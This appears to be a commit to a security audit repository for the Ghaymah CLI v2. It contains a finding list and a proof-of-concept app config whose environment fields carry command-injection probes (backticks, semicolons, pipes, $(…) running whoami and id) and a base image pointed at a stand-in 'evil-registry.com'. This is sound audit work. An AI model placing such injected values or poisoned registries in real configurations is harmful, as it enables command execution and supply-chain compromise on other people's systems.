🛡️ feat: Ghaymah CLI v2 — Security & QA Audit Repository

Comprehensive security audit of the Ghaymah CLI v2 and web platform.

Findings:
  - [CRITICAL] T1552: Dockerfile & .env Credential Leakage
  - [CRITICAL] OWASP A07: Missing OTP & Unverified Password Change
  - [HIGH]     T1539: Session Token Revocation Bypass
  - [MED/HIGH] CWE-400: Configuration Poisoning DoS (Pipeline Hang)

Includes:
  - 8 Proof-of-Concept applications (PoC_Apps/)
  - Visual evidence & screenshots (Assets/Screenshots/)
  - Full PDF audit report (Reports/)
  - Mermaid.js attack flow diagrams in README

Auditor: Ziad Mahmoud Ahmed Abdelgwad — Cybersecurity Specialist

PoC_Apps/test-app-2/.gy.json

@@ -0,0 +1,29 @@
+{
+  "app": "test-app-2",
+  "project": "test-app-2",
+  "_app_id": "bfd6bf85-8625-4a46-a0fa-27c26421e9c5",
+  "_project_id": "d91eb383-6607-43d1-88b3-b5c8f1fa4a4b",
+  "port": 8080,
+  "publicAccess": {
+    "enabled": true,
+    "domain": "test-app-2-dd07c63a4e7e.hosted.ghaymah.systems"
+  },
+  "env": {
+    "BASE_IMAGE": "evil-registry.com/evil-image:latest",
+    "DOCKER_REGISTRY": "evil-registry.com",
+    "MATH_TEST": "$((10+10))",
+    "RCE_1": "`id`",
+    "RCE_2": "; whoami ;",
+    "RCE_3": "| whoami",
+    "RCE_4": "|| whoami",
+    "RCE_5": "\u0026 whoami",
+    "RCE_6": "$(echo id)",
+    "RCE_7": "$'whoami\\n'",
+    "RCE_CALLBACK": "",
+    "RCE_FILE": "",
+    "RCE_TEST": "",
+    "REGISTRY": "evil-registry.com"
+  },
+  "resourceTier": "t1",
+  "_detected": "dockerfile"
+}